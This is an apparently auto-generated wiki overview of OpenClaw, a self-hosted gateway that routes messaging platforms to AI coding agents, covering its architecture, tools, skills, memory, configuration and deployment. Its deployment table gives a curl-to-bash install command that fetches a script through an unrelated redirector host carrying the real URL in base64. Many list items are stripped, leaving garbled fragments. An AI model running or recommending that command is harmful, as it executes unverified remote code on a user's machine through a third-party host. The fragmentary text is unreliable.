This document introduces OpenClaw as a self-hosted multi-agent AI gateway system. It explains the high-level architecture, core capabilities, and deployment model. For hands-on setup instructions, see Getting Started. For conceptual deep-dives on agents, sessions, and routing, see Core Concepts. For detailed architectural diagrams and subsystem interactions, see System Architecture.
OpenClaw is a self-hosted gateway that connects messaging platforms (WhatsApp, Telegram, Discord, Slack, Signal, iMessage, and others) to AI coding agents. It runs as a single process on your infrastructure, managing sessions, routing, tool execution, and channel connections.
Key characteristics:
The gateway acts as a control plane for all agent interactions. Clients (CLI, web UI, mobile apps, channel plugins) connect via WebSocket RPC on port 18789 (default). The agent runtime is embedded using the Pi Agent system package.json354-356
Sources: README.md1-27 package.json1-473 docs/index.md44-56
Sources: package.json16-18 package.json354-356 README.md186-202
The gateway is the central control plane that runs on a single multiplexed port (default 18789). It handles:
Entry point: openclaw.mjs → dist/index.js package.json16-36
Configuration: ~/.openclaw/openclaw.json validated with Zod schemas docs/gateway/index.md63-66
Sources: package.json16-36 docs/gateway/index.md1-10
OpenClaw embeds the Pi Agent system for agent execution:
@mariozechner/pi-agent-core: Core agent loop and tool calling@mariozechner/pi-ai: LLM provider integrations@mariozechner/pi-coding-agent: Coding-specific toolsAgent isolation: Each agent has:
~/.openclaw/workspace or ~/.openclaw/workspace-<agentId>)~/.openclaw/agents/<agentId>/sessions/)~/.openclaw/agents/<agentId>/agent/auth-profiles.json)Sources: package.json354-356 docs/concepts/multi-agent.md13-37
Sessions are keyed by agent + routing scope:
agent:main:peer:<phoneNumber>agent:main:channel:whatsappagent:main:guild:<groupId>Session files are stored as JSONL transcripts in ~/.openclaw/agents/<agentId>/sessions/<sessionKey>.jsonl.
Sources: docs/concepts/multi-agent.md40-56 README.md147-149
Configuration is loaded from ~/.openclaw/openclaw.json (JSON5 format):
openclaw doctor auto-repairs legacy formatsSources: docs/gateway/index.md63-66 README.md318-330
Tools are registered in src/tools/registry.ts with multi-layered policy enforcement:
tools.global.allowlist, tools.global.denylistBuilt-in tools:
bash/exec: Shell command executionread, write, edit: File operationsbrowser_*: Browser automation via Playwrightmemory_search: Vector + FTS hybrid searchsessions_*: Agent-to-agent communicationSources: README.md334-338 docs/tools/skills.md1-9
Skills are modular tool instructions loaded from:
<workspace>/skills/ (highest precedence)~/.openclaw/skills/Each skill is a directory with SKILL.md containing YAML frontmatter + instructions. Skills can declare dependencies (binaries, API keys) and gating rules.
Format: AgentSkills.io-compatible markdown files
Sources: docs/tools/skills.md10-27 README.md312-317
Long-term memory uses SQLite + vector embeddings:
~/.openclaw/memory/<agentId>.sqlitesqlite-vec package.json179memory_index tool indexes MEMORY.md and memory/*.mdSources: package.json179 docs/cli/index.md295-299
The plugin system supports extensibility via openclaw/plugin-sdk:
Channel plugins: Custom messaging platform integrations (see extensions/ for 25+ examples)
Tool plugins: Add custom tools to the registry
Exports: package.json38-214 defines subpaths for each plugin type
Sources: package.json38-214 README.md285-290
| Capability | Description | Code Reference |
|---|---|---|
| Multi-channel messaging | WhatsApp, Telegram, Discord, Slack, Signal, iMessage, Matrix, and 20+ more | extensions/*/ |
| Multi-agent routing | Isolated agents with independent workspaces, sessions, and auth | docs/concepts/multi-agent.md1-10 |
| Tool execution | Bash, file ops, browser control, memory search, agent messaging | src/tools/ |
| Context compaction | Automatic session summarization when context window fills | README.md174-176 |
| Cron scheduling | Background agent tasks with configurable delivery | src/cron/ README.md167-169 |
| WebSocket RPC | Real-time bidirectional communication for all clients | docs/gateway/index.md71-77 |
| OAuth integration | Token refresh for Anthropic, OpenAI, Google providers | docs/cli/index.md459 |
| Device pairing | Secure node registration with challenge-response auth | docs/gateway/troubleshooting.md93-150 |
| Hot reload | Config changes apply without restart (hybrid mode default) | docs/gateway/index.md63-66 |
| Sandboxing | Per-session Docker isolation for non-main sessions | README.md334-338 |
Sources: README.md126-176 docs/gateway/index.md69-77
| Platform | Gateway Support | Node Support | Installation Method |
|---|---|---|---|
| macOS | ✓ Full | ✓ Full | npm, installer script, native app |
| Linux | ✓ Full | ✓ Full | npm, installer script, Docker |
| Windows | ✓ WSL2 required | ✓ Via WSL2 | npm, PowerShell installer |
Native clients:
Sources: README.md22-31 package.json432
browser_* tools (Playwright)Sources: package.json431-434 README.md52-56
The wizard configures:
For detailed setup instructions, see Getting Started.
Sources: README.md50-81 docs/start/wizard.md10-33
| Method | Use Case | Command |
|---|---|---|
| Docker | Container deployment | See Docker docs |
| Nix | Declarative config | See Nix docs |
| Install script | Automated setup | curl -fsSL //cm01.sastatool.com/?q=aHR0cHM6Ly9vcGVuY2xhdy5haS9pbnN0YWxsLnNo | bash |
| From source | Development | git clone && pnpm install && pnpm build |
Sources: README.md82-111 docs/start/getting-started.md30-53
A minimal ~/.openclaw/openclaw.json requires only a model:
Sources: README.md320-328
| Section | Purpose | Example |
|---|---|---|
gateway | Port, bind, auth, Tailscale | gateway: { port: 18789, auth: { mode: "token" } } |
agents | Agent list, workspaces, bindings | agents: { list: [{ name: "work", workspace: "..." }] } |
channels | Channel credentials and policies | channels: { whatsapp: { allowFrom: ["+1..."] } } |
tools | Tool policies and allowlists | tools: { global: { allowlist: ["bash", "read"] } } |
skills | Skills configuration and gating | skills: { entries: { mcp: { enabled: true } } } |
memory | Vector search config | memory: { provider: "openai" } |
cron | Scheduled jobs | cron: { jobs: [{ schedule: "0 9 * * *" }] } |
For complete configuration reference, see Configuration.
Sources: docs/gateway/configuration.md1-10 README.md320-330
node.invoke routes device-specific commands (camera, screen recording, notifications)Sources: README.md230-238 docs/gateway/remote.md1-10
OpenClaw requires explicit opt-in for public access:
openclaw pairing approve <channel> <code>dmPolicy="open" and "*" in allowlistSources: README.md112-124 docs/channels/pairing.md1-10
agents.defaults.sandbox.modesandbox.mode: "non-main" to run group/channel sessions in DockerSources: README.md334-338 docs/gateway/sandboxing.md1-10
Sources: docs/gateway/index.md76 docs/gateway/troubleshooting.md93-150
Sources: docs/start/getting-started.md1-136 docs/start/wizard.md1-126
Refresh this wiki
This wiki was recently refreshed. Please wait 6 days to refresh again.